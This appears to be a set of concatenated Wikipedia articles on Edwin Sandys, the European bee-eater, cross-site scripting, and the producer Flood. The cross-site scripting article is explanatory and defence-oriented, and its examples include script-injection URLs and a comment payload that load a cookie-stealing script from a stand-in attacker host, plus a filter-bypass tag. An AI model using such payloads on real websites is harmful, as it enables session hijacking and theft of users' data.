Sandys (pronounced Sands) was born in Worcestershire, the second son of Edwin Sandys, Archbishop of York, and his wife Cecily Wilford. He received his education at Merchant Taylors' School, which he entered in 1571, and at Corpus Christi College, Oxford, (from 1577). He graduated B.A. in 1579 and was admitted fellow in the same year and B.C.L. in 1589. At Oxford his tutor was Richard Hooker, author of the Ecclesiastical Polity, whose lifelong friend and executor Sandys became. Sandys is said to have had a large share in securing the Mastership of the Temple Church in London for Hooker. In 1582 Sandys' father gave him the prebend of Wetwang in York Minster, but he never took orders, later resigning both his fellowship and prebendry. In 1589 he was elected Member of Parliament for Plympton Erle. He entered in the Middle Temple in 1589. In 1593 he was re-elected MP for Plympton Erle.
From 1593 to 1599 Sandys travelled abroad. When in Venice he became closely connected with Fra Paolo Sarpi, who helped him compose the treatise on the religious state of Europe, known as the Europae speculum. In 1605 this treatise was printed from a stolen copy under the title A Relation of the State of Religion in Europe. Sandys procured the suppression of this edition, but the book was reprinted at The Hague in 1629.
After 1599, in view of the approaching death of Queen Elizabeth I, Sandys paid his court to King James VI of Scotland, and on James's accession to the throne of England in 1603 Sandys received a knighthood.
Career as MP
In 1604, he sat in James's first parliament as MP for Stockbridge, and distinguished himself as one of the assailants of the great monopolies. He endeavoured to secure to all prisoners the right of employing counsel, a proposal which was resisted by some lawyers as subversive of the administration of the law.
In 1614 he was elected MP for Rochester. He was appointed High Sheriff of Kent for 1615-1616 - his country seat of Northborne was there.
Sandys sat in the later parliaments of James I as MP for Sandwich in 1621, and for Kent in 1624.
On 16 June 1621 he and John Selden were taken into custody by order of the House of Commons, and not released until 18 July.
His tendencies were towards opposition, and he was suspected of hostility to the court; but he disarmed the anger of the king by professions of obedience. He was member for Penryn in the first parliament of Charles I in 1625 and again in 1626.
Role in the Virginia Company
Sandys had been connected with the East India Company before 1614, and took an active part in its affairs until 1629. His most memorable services were, however, rendered to the Virginia Company of London, to which he became treasurer in 1619 (succeeding Thomas Smythe). He instituted a program designed to give investors and settlers incentive to emigrate to the New World. His program granted some of Virginia's land to the people who chose to live there, providing planters who had arrived before 1616 with one hundred acres each with settlers coming after 1616 getting fifty acres. He also sent several hundred tenant farmers to work land set aside for the company while urging the production of more than just tobacco for export.
In order to increase labour in Virginia, his program also promoted indentured servitude for the poor of England who could try to make a better life for themselves in the colony. These policies created a boom period of growth for Virginia. The large amount of labour available and the condition by which they made the journey led to exploitation of servants and tenants while allowing large farmer owners to also exploit the Virginia Company.
Sandys also strongly supported the headright system, for his goal was a permanent colony which would enlarge English territory, relieve the nation's overpopulation, and expand the market for English goods. Also accredited to Sandys is an increase in women sent to the colonies, for the purpose of encouraging men to marry and start families, which ostensibly would motivate them to work harder.
Edwin Sandys was also one of the men instrumental in establishing the first representative assembly in the new world at Jamestown by issuing a new charter calling for its establishment. In addition, he assisted the Pilgrims in establishing their colony at Plymouth, Massachusetts by lending them 300 pounds without interest. This led to Sandys being accused in 1624 by Sir Nathaniel Rich of having republican sympathies and of trying to establish a 'Brownist Republic' in Virginia. This was an accusation not entirely without foundation, as the colonial project had from the outset quasi-republican overtones.
Although Sandys never travelled to Virginia, he worked tirelessly in England to support the effort. He promoted and supported the policy which enabled the colony to survive the disasters of its early days, and, he continued to be a leading influence in the Company until it was dissolved in 1624.
Although the Virginia Company ultimately failed financially by 1624, the colony eventually grew and prospered until achieving independence late in the 18th century following the American Revolutionary War.
Sandys' brother Thomas Sands (Sandys) was one of the first colonist in Jamestown, he survived the "starving times" and later returned to England.
Theological positions
Edwin Sandys shared with his brother George a leaning toward English Arminian theology and a reject of Calvinist predestinarianism. Through his writings he also positioned himself theologically, and is described as a proto-Arminian. Because of his anti-Calvinist views, he won the attention of the leading Dutch Arminian Hugo Grotius.
Later life and legacy
Sandys died in October 1629, leaving a £1500 endowment to the University of Oxford to fund a lecture in metaphysics.
Sandys is buried in Northbourne Church in Kent with his last wife Catherine.
Family
Sandys was married four times:
Margaret Eveleigh, daughter of John Eveleigh of Devonshire, with whom he had one daughter.
Elizabeth, who married Sir Thomas Wilsford of Hedding, Kent
Anne Southcott, daughter of Thomas Southcott, with whom he had no issue.
Elizabeth Nevinson, daughter of Thomas Nevinson of Eastrey with whom he had one daughter.
Anne
Catherine Bulkeley, daughter of Sir Richard Bulkeley of Anglesey, with whom he had seven sons and five daughters.
Henry (–1640), of Wadham College, Oxford 1621 and Gray's Inn 1627, MP for Mitchell
Edwin Sandys (Parliamentarian) (died 1642), of Wadham College, Oxford 1621, Colonel in the Parliamentary Army, died of wounds suffered at the Battle of Powick Bridge
Mary (1607–1675), married Sir Richard Spencer
Richard (1608–1665), Colonel in the Parliamentary Army, Governor of the Bermuda Company
Elizabeth
Francis
Robert, of Corpus Christi College, Oxford 1631 and Gray's Inn 1637
Penelope (1617–1690), married Sir Nicholas Lechmere
Thomas, of Corpus Christi College, Oxford 1635 and Gray's Inn 1639
Catherine
Frances
a son (died young)
Sandys' great-grandson Richard Sandys became a baronet in 1684. His brother Sir Miles Sandys, 1st Baronet was also appointed a baronet, and sat as MP, and was High Sheriff of Cambridgeshire and Huntingdonshire.
Sandys Parish, Bermuda, which includes Somerset Village and the Royal Naval Dockyard, is named after him.
See also
George Sandys
Richard Lovelace
References
Citations
Sources
Further reading
External links
1561 births
1629 deaths
16th-century American people
17th-century American people
Alumni of Corpus Christi College, Oxford
Arminian writers
English company founders
English knights
English MPs 1589
English MPs 1593
English MPs 1604–1611
English MPs 1614
English MPs 1621–1622
English MPs 1624–1625
English MPs 1625
English MPs 1626
High Sheriffs of Kent
Members of the Parliament of England for Plympton Erle
Members of the pre-1707 English Parliament for constituencies in Cornwall
People from Worcestershire
Republicanism in Bermuda | [
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241141 | https://en.wikipedia.org/wiki/European%20bee-eater | European bee-eater | The European bee-eater (Merops apiaster) is a near passerine bird in the bee-eater family, Meropidae. It breeds in southern Europe and in parts of north Africa and western Asia. It is strongly migratory, wintering in tropical Africa. This species occurs as a spring overshoot north of its range, with occasional breeding in northwest Europe.
Taxonomy and systematics
The European bee-eater was formally described by the Swedish naturalist Carl Linnaeus in 1758 in the tenth edition of his Systema Naturae under its current binomial name Merops apiaster. The genus name Merops is Ancient Greek for "bee-eater", and apiaster is Latin, also meaning "bee-eater", from apis, "bee".
Description
This species, like other bee-eaters, is a richly coloured, slender bird. It has brown and yellow upper parts, whilst the wings are green and the beak is black. It can reach a length of , including the two elongated central tail feathers. Sexes are alike. Female tends to have greener rather than gold feathers on shoulders. Non-breeding plumage is much duller and with a blue-green back and no elongated central tail feathers. Juvenile resembles a non-breeding adult, but with less variation in the feather colours. Adults begin to moult in June or July and complete the process by August or September. There is a further moult into breeding plumage in winter in Africa.
Behaviour and ecology
Breeding
These bee-eaters are gregarious—nesting colonially in sandy banks, preferably near river shores, usually at the beginning of May. They make a relatively long tunnel, in which they lay five to eight spherical white eggs around the beginning of June. Both male and female care for the eggs, which they brood for about three weeks. They also feed and roost communally.
During courtship, the male feeds large items to the female while eating the small ones himself. Most males are monogamous, but occasional bigamy has been encountered. Their typical call is a distinctive, mellow, liquid and burry prreee or prruup.
Feeding
This bird breeds in open country in warmer climates. As the name suggests, bee-eaters predominantly eat insects, especially bees, wasps, and hornets. They catch insects in flight, in sorties from an open perch. Before eating a bee, the European bee-eater removes the sting by repeatedly hitting the insect on a hard surface. It can eat around 250 bees a day.
The most important prey item in their diet is Hymenoptera, mostly Apis mellifera. A study in Spain found that these comprise 69.4% to 82% of the European bee-eaters' diet. Their impact on bee populations, however, is small. They eat less than 1% of the worker bees in areas where they live.
A study found that European bee-eaters "convert food to body weight more efficiently if they are fed a mixture of bees and dragonflies than if they eat only bees or only dragonflies."
Predation of honey bees
If an apiary is set up close to a bee-eater colony, a larger number of honey bees are eaten because they are more abundant. However, studies show the bee-eaters do not intentionally fly into the apiary, rather they feed on the insects caught on pastures and meadows within a radius of from the colony, this maximum distance being reached only when there is a lack of food. Observations show that the birds actually enter the apiary only in cold and rainy periods, when the bees do not leave the hive and other insect prey are harder for the bee-eaters to detect.
Many bee-keepers believe that the bee-eaters are the main obstacle causing worker bees not to forage, and instead stay inside the hives for much of the day between May and the end of August. However, a study carried out in eucalyptus forest in the Alalous region, east of Tripoli Libya, showed that the bee-eaters were not the main obstacle of bee foraging, which is the opposite of what beekeepers think. The foraging rate was higher in presence of the birds than in their absence in some cases. The average bird meal consisted of 90.8% honey bees and 9.2% beetles.
Predation is more likely when the bees are queening or during peak migrations, from late March till mid-April, and in mid-September. Hives close to or under trees or overhead cables are also at increased risk as the birds pounce on flying insects from these perches.
Gallery
See also
Bee-eaters in Britain
References
External links
European bee-eater videos, photos & sounds on the Internet Bird Collection
European bee-eater - Species text in The Atlas of Southern African Birds.
Oiseaux Photos
Feathers of European bee-eater (Merops apiaster)
Ageing and sexing (PDF; 5.4 MB) by Javier Blasco-Zumeta & Gerd-Michael Heinze
European bee-eater
Birds of Eurasia
Birds of Southern Africa
Birds of Africa
European bee-eater
European bee-eater
Articles containing video clips | [
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241154 | https://en.wikipedia.org/wiki/Cross-site%20scripting | Cross-site scripting | Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec up until 2007. XSS effects vary in
range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.
Background
Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.
Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.
Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.
XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter and
Facebook. Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability, with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.
Types
There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).
Non-persistent (reflected)
The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability. These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.
Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.
A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.
Persistent (or stored)
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.
Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other users' browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.
To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory's profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob's real name and email directly from his own machine.
Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side worm.
The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.
Server-side versus DOM-based vulnerabilities
XSS vulnerabilities were originally found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.
As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called DOM-based cross-site scripting. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.
An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of jQuery plugins. Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in JavaScript code and contained in web pages (i.e. input validation and escaping). Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example AngularJS.
Self-XSS
Self-XSS is a form of XSS vulnerability that relies on social engineering in order to trick the victim into executing malicious JavaScript code in their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.
Mutated XSS (mXSS)
Mutated XSS happens when the attacker injects something that is seemingly safe but is rewritten and modified by the browser while parsing the markup. This makes it extremely hard to detect or sanitize within the website's application logic.
An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters on parameters to CSS font-family.
Exploit examples
Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the Alice-and-Bob cast of characters commonly used in computer security.
The Browser Exploitation Framework could be used to attack the web site and the user's local environment.
Non-persistent
Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some random characters, so both computers (client and server) have a record that she's logged in.
Mallory observes that Bob's website contains a reflected XSS vulnerability:
When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be http://bobssite.org/search?q=her%20search%20term.
With a normal search query, like the word "puppies", the page simply displays "puppies not found" and the url is "http://bobssite.org/search?q=puppies" - which is perfectly normal behavior.
However, when she submits an abnormal search query, like "",
An alert box appears (that says "xss").
The page displays " not found," along with an error message with the text 'xss'.
The url is "http://bobssite.org/search?q=alert('xss'); - which is exploitable behavior.
Mallory crafts a URL to exploit the vulnerability:
She makes the URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>. She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E, so that human readers cannot immediately decipher the malicious URL.
She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory's program authstealer.js (triggering the XSS attack). Alice forgets about it.
The authstealer.js program runs in Alice's browser as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't log in anymore.
She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.
Several things could have been done to mitigate this attack:
The search input could have been sanitized, which would include proper encoding checking.
The web server could be set to redirect invalid requests.
The web server could detect a simultaneous login and invalidate the sessions.
The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
The website could display only the last few digits of a previously used credit card.
The website could require users to enter their passwords again before changing their registration information.
The website could enact various aspects of the Content Security Policy.
Set cookie with HttpOnly flag to prevent access from JavaScript.
Persistent attack
Mallory gets an account on Bob's website.
Mallory observes that Bob's website contains a stored XSS vulnerability: if one goes to the News section and posts a comment, the site will display whatever is entered. If the comment text contains HTML tags, they will be added to the webpage's source; in particular, any script tags will run when the page is loaded.
Mallory reads an article in the News section and enters a comment: I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
When Alice (or anyone else) loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection.
Mallory can now hijack Alice's session and impersonate Alice.
Bob's website software should have stripped out the script tag or done something to make sure it didn't work; the security bug consists in the fact that he didn't.
Preventive measures
Contextual output encoding/escaping of string input
Contextual output encoding/escaping could be used as the primary defense mechanism to stop XSS attacks. There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL (or percent) encoding. Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.
Although widely recommended, performing HTML entity encoding only on the five XML significant characters is not always sufficient to prevent many forms of XSS attacks. As encoding is often difficult, security encoding libraries are usually easier to use.
Some web template systems understand the structure of the HTML they produce and automatically pick an appropriate encoder. However, even with a template system, it is essential not to place untrusted data in unquoted attributes, hyperlink's HREF-attributes, inline DOM event handlers, or other similar contexts where script execution is directly possible.
Safely validating untrusted HTML input
Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as <b>very</b> large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "<b>very</b> large"). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain XSS code.
Many validations rely on parsing out (blacklisting) specific "at risk" HTML tags such as the following<script> <link> <iframe>
There are several issues with this approach, for example sometimes seemingly harmless tags can be left out which when utilized correctly can still result in an XSS
(see the below example) <img src="javascript:alert(1)">Another popular method is to strip user input of " and ' however this can also be bypassed as the payload can be concealed with obfuscation (See this link for an extreme example of this)
Cookie security
Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie. This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same NATed IP address or web proxy as the victim, or the victim is changing his or her mobile IP.
Another mitigation present in Internet Explorer (since version 6), Firefox (since version 2.0.0.5), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is an HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.
Disabling scripts
While Web 2.0 and Ajax developers require the use of JavaScript, some web applications are written to allow operation without the need for any client-side scripts. This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.
Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called "Security Zones", and in Opera (since version 9) using its "Site Specific Preferences". A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.
The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded). Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities. The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.
Selectively disabling scripts
Content-Security-Policy (CSP) allows HTML documents to opt in to disabling some scripts while leaving others enabled. The browser checks each script against a policy before deciding whether to run it. As long as the policy only allows trustworthy scripts and disallows dynamic code loading, the browser will not run programs from untrusted authors regardless of the HTML document's structure.
This shifts the security burden to policy authors. Studies have cast doubt on the efficacy of host whitelist based policies.In total, we find that 94.68% of policies that attempt to limit script execution are ineffective, and that 99.34% of hosts with CSP use policies that offer no benefit against XSS.Modern CSP policies allow using nonces to mark scripts in the HTML document as safe to run instead of keeping the policy entirely separate from the page content. As long as trusted nonces only appear on trustworthy scripts, the browser will not run programs from untrusted authors. Some large application providers report having successfully deployed nonce-based policies.
Emerging defensive technologies
The popularity of client-side frameworks has changed how attackers craft XSS.Script gadgets are legitimate JavaScript fragments within an application’s legitimate code base … We demonstrate that these gadgets are omnipresent in almost all modern JavaScript frameworks and present an empirical study showing the prevalence of script gadgets in productive code. As a result, we assume most mitigation techniques in web applications written today can be bypassed.Trusted types changes Web APIs to check that values have been trademarked as trusted. As long as programs only trademark trustworthy values, an attacker who controls a JavaScript string value cannot cause XSS. Trusted types are designed to be auditable by blue teams.
Another defense approach is to use automated tools that will remove XSS malicious code in web pages, these tools use static analysis and/or pattern matching methods to identify malicious codes potentially and secure them using methods like escaping.
SameSite cookie parameter
When a cookie is set with the SameSite=Strict parameter, it is stripped from all cross-origin requests. When set with SameSite=Lax, it is stripped from all non-"safe" cross-origin requests (that is, requests other than GET, OPTIONS, and TRACE which have read-only semantics). The feature is implemented in Google Chrome since version 63 and Firefox since version 60.
Related vulnerabilities
In a Universal Cross-Site Scripting (UXSS, or Universal XSS) attack, vulnerabilities in the browser itself or in the browser plugins are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks).
Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits "zone" concepts in certain browsers and usually executes code with a greater privilege. HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).
Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users. XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.
Covert Redirection takes advantage of third-party clients susceptible to XSS or Open Redirect attacks. Normal phishing attempts can be easy to spot, because the malicious page's URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirection is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box.
Lastly, SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered, any SQL statements can be executed by the application.
The specific XSSs that affect a given version of a web browser tend to be unique. Consequently, it is possible to use XSS to fingerprint the browser vendor and version of a user.
See also
Web application security
Internet security
XML external entity
Browser security
Metasploit Project, an open-source penetration testing tool that includes tests for XSS
w3af, an open-source web application security scanner
DOMPurify, a free and open source code library by Cure53 to reduce susceptibility to XSS vulnerabilities in websites.
Cross-document messaging
Samy (computer worm)
Parameter validation
References
Further reading
External links
OWASP: XSS, Testing for XSS, Reviewing Code for XSS
XSSed: Database of Websites Vulnerable to Cross-Site Scripting Attacks
Web security exploits
Injection exploits
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] |
241159 | https://en.wikipedia.org/wiki/XSS%20%28disambiguation%29 | XSS (disambiguation) | XSS is cross-site scripting, a type of computer security vulnerability.
XSS may also refer to:
XSS file, a Microsoft Visual Studio Dataset Designer Surface Data file
X11 Screen Saver extension, of X11
Assan language (ISO 639-3 code)
Xbox Series S, a digital-only video game console
See also
Experimental Satellite System-11 (XSS 11), a spacecraft
CSS (disambiguation) | [
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241160 | https://en.wikipedia.org/wiki/Flood%20%28producer%29 | Flood (producer) | Mark Ellis (born 16 August 1960), known by his professional pseudonym Flood, is a British post-punk and alternative rock record producer and audio engineer. Flood's list of work includes projects with New Order, U2, Nine Inch Nails, Marc and the Mambas, Depeche Mode, Gary Numan, Sneaker Pimps, King, Ministry, The Charlatans, Thirty Seconds to Mars, Erasure, Nick Cave and the Bad Seeds, PJ Harvey, Foals, a-ha, Orbital, Sigur Rós, The Jesus And Mary Chain,The Smashing Pumpkins, The Killers, White Lies, Pop Will Eat Itself, Warpaint and EOB. His co-production collaborations have included projects with Brian Eno, Daniel Lanois, Steve Lillywhite, and longtime collaborator Alan Moulder, with whom he co-founded the Assault & Battery studio complex. In 2006, his work with U2 led to his sharing of the Grammy Award for Album of the Year for How to Dismantle an Atomic Bomb.
He is not to be confused with Mark Ellis, the bassist from the British mod revival band The Lambrettas from the late 1970s and early 1980s.
Early years
Mark Ellis was born in London, England. As a child, Ellis attended St Olave's Grammar School in Orpington, England. He began his music career as the vocalist for the band Seven Hertz. During that same time, he began his professional studio career as a runner at Morgan Studios in London, where he also served as Tape Operator on 1984 by Rick Wakeman. Ellis also was a runner at Battery Studios in London and held apprenticeships at Marcus Studios and Trident Studios.
Freelance and Some Bizzare Records
Flood moved up to house engineer before going freelance in 1981, the same year he worked as assistant engineer on New Order's debut album, Movement. The following year, he engineered Ministry's debut album, With Sympathy. He then became associated with Stevo's Some Bizzare Records label, leading to work with Cabaret Voltaire, Psychic TV, and Marc Almond's side project, Marc and the Mambas, among others.
Mute Records
Following his work with Some Bizzare Records, Flood began working with Mute Records as one of their preferred producers, heralding his first production project with Nick Cave and the Bad Seeds on From Her to Eternity (1983–1984) and the follow-up album, The Firstborn Is Dead (1984). His work at Mute was as producer, co-producer or engineer with each of the label's major acts, including Depeche Mode, Vince Clarke and Erasure, whose debut album Wonderland (1986) and its followup The Circus (1987) he engineered.
Mainstream commercial success
Flood's first mainstream commercial break came in 1987 when he engineered U2's The Joshua Tree, alongside producers Brian Eno and Daniel Lanois. In that same year, he gave up mixing U2's album to produce Erasure's The Circus - which was the duo's second album and the first one to have great commercial success. Shortly thereafter, he co-produced Nine Inch Nails on debut Pretty Hate Machine, along with John Fryer, Adrian Sherwood, and Keith LeBlanc. He also worked with Depeche Mode on their 1990 album, Violator. In 1991, he returned to work again with U2 on Achtung Baby, along with Brian Eno, Daniel Lanois and Steve Lillywhite. The following year, he also returned to work with Depeche Mode to record the album Songs of Faith and Devotion and co-produced three tracks of Nine Inch Nails' Broken EP.
In 1993, Flood shifted from engineering U2's albums to producing them, sharing duties with Brian Eno and The Edge on Zooropa. In 1994, he worked again with Nine Inch Nails, this time on The Downward Spiral. In 1995, Flood co-produced The Smashing Pumpkins' album Mellon Collie and the Infinite Sadness with longtime collaborator Alan Moulder, and PJ Harvey's album To Bring You My Love. Shortly thereafter, he assisted producer Nellee Hooper on Sneaker Pimps' Becoming X. He also collaborated with Dave Bessell, Gary Stout and Ed Buller to create Node; an analogue synth heavy project that produced a single album, Node.
In 1996 Flood teamed up with U2 once again to produce Pop, released the next year. The following year, he assisted Billy Corgan and Brad Wood on The Smashing Pumpkins's 1998 album Adore and co-produced PJ Harvey's album Is This Desire?.
2000 to 2005
In 2000, he co-produced Machina/The Machines of God by The Smashing Pumpkins with Corgan. He also co-produced Erasure's Loveboat with Vince Clarke and Andy Bell of Erasure. The following year Flood worked again with Depeche Mode, remixing the single version of "Freelove", and in 2002 he produced Richard Warren's Echoboy album Giraffe. He also co-produced I To Sky, by JJ72.
In 2003, Flood re-worked Cars for Gary Numan's album Hybrid. The following year he produced London based The Duke Spirit's debut album Cuts Across The Land. In the same year he co-produced U2's How to Dismantle an Atomic Bomb. In 2004 he produced Soulwax's album Any Minute Now and in mid-2005 he mixed a-ha's eighth album, Analogue, and produced Yourcodenameis:Milo's debut album Ignoto. Later that year, Flood also mixed Placebo's album Meds.
2006 to 2013
Flood co-produced The Killers' album Sam's Town in 2006 with fellow English producer/engineer Alan Moulder. Later that year he remixed the debut single by Dark Room Notes, Love Like Nicotine. At the beginning of 2007, he co-produced PJ Harvey's album White Chalk with John Parish and PJ Harvey. He also co-produced a couple of songs on the Goldfrapp album Seventh Tree, which was released in February 2008. In late 2007/early 2008, he produced Sigur Rós's Með suð í eyrum við spilum endalaust in Iceland.
